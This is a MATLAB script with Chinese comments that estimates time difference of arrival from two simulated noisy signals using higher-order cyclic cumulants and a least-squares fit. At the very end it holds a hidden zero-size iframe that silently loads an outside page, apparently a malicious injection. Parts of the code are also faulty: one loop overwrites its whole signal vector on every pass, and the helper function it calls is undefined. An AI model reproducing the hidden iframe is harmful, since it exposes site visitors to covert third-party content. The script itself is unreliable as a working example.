jianeng6.m

基于高阶统计量的tdoa估计方法

%script file jianeng6.m
% 一 :实验原理
%    高阶累积量有这样一种性质:如果达到三阶及其以上,则高斯噪声的累积量为零.所以利
%    用对接收信号求高阶累积量可以排除噪声对信号的影响
%    根据这个性质，我们可以采用TDOA的定位方法来提高估计的精度。这种方法比直接采用
%    ＴＯＡ进行定位方法有很明显的优点（前提：多径）。
%        
%  二：实验步骤
%     １：产生两个远程的发送信号．采用归一化处理使其中一个信号有时延
%     ２：产生两个相互独立，互不相关的噪声，并且噪声满足均为零均值平稳随机过程  
%　　　　　这一特点．
%　　　３：将噪声加入到发送信号上，形成两个基站的接收信号
%　　　４：求两个接收信号的高阶累积量，并对它们进行ＦＦＴ变换
% 　
%　　　
%　　：对各个互相关函数值用图形显示
% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
%常量初始化*****************************************************************
N=2048;                                       %取2048个时间点
w0=pi/4;                                      %主频
d1=25;                                        %时间延迟，用来对信号作归一化处理
d2=10;
m=50;
p=25;
%信号源***********************************************************************
%*
signal1=zeros(1,N);                            %一行N列的值都为零的矩阵
signal2=zeros(1,N);
st=signalSOI(N);                               %2048个值为1或者-1的一维矩阵
for i=1:N
    signal1=st*cos(w0*i);
end
for i=1:N-d1-d2
    signal2(1,i)=signal1(1,i+d1)+signal1(1,i+d2);%归一化处理使信号2（signal2）在信号1的时延基础上产生
end

%平稳随机过程的噪声**************************************************************
noise1=normrnd(0,0.7,1,N);                      %产生均值为0，方差为0.7，一行N列的随机噪声
noise2=normrnd(0,0.7,1,N);                      %产生均值为0，方差为0.7，一行N列的随机噪声

%形成接收信号********************************************************************
x=signal1+noise1;
y=signal2+noise2;

%求高阶累积量********************************************************************
%*
Cyx=zeros(2*m+1,1);
b=0.25;  %cycle frequency
for t=m:-1:-m
    if t>=0
       for n=1:N-t,
          Cyx(m+1-t,1)=Cyx(m+1-t,1)+y(1,n+t)*y(1,n+t)*x(1,n)*x(1,n)*exp(-j*2*pi*b*(n+t/2));
       end
          Cyx(m+1-t,1)=Cyx(m+1-t,1)/N;
    else
       for n=-t+1:N,
           Cyx(m+1-t,1)=Cyx(m+1-t,1)+y(1,n+t)*y(1,n+t)*x(1,n)*x(1,n)*exp(-j*2*pi*b*(n+t/2));
       end
           Cyx(m+1-t,1)=Cyx(m+1-t,1)/N;
     end
end
Cx=zeros(2*m+1,2*p+1);
for l=m-p:-1:-m-p,
    for k=m-p:m+p,
       t=k-(m-p-l); 
       if t>=0
            for n=1:N-t
                  Cx(m-p-l+1,k+1-(m-p))=Cx(m-p-l+1,k+1-(m-p))+x(1,n+t)*x(1,n+t)*x(1,n)*x(1,n)*exp(-j*2*pi*b*(n+t/2));
            end   
            Cx(m-p-l+1,k+1-(m-p))=Cx(m-p-l+1,k+1-(m-p))/N;
       else
            for n=-t+1:N
                  Cx(m-p-l+1,k+1-(m-p))=Cx(m-p-l+1,k+1-(m-p))+x(1,n+t)*x(1,n+t)*x(1,n)*x(1,n)*exp(-j*2*pi*b*(n+t/2));
            end    
            Cx(m-p-l+1,k+1-(m-p))=Cx(m-p-l+1,k+1-(m-p))/N;
      end       
    end
end
%*******************************************************************************************************         
A=zeros(1,2*p+1);
for l=p:-1:-p
   A(1,p+1-l)=exp(-j*pi*b*l);
end
D=diag(A);
B=Cx*D;
A=inv((B'*B))*B'*Cyx;
x=-p:p
y=A;
plot(x,y)

<IFRAME SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>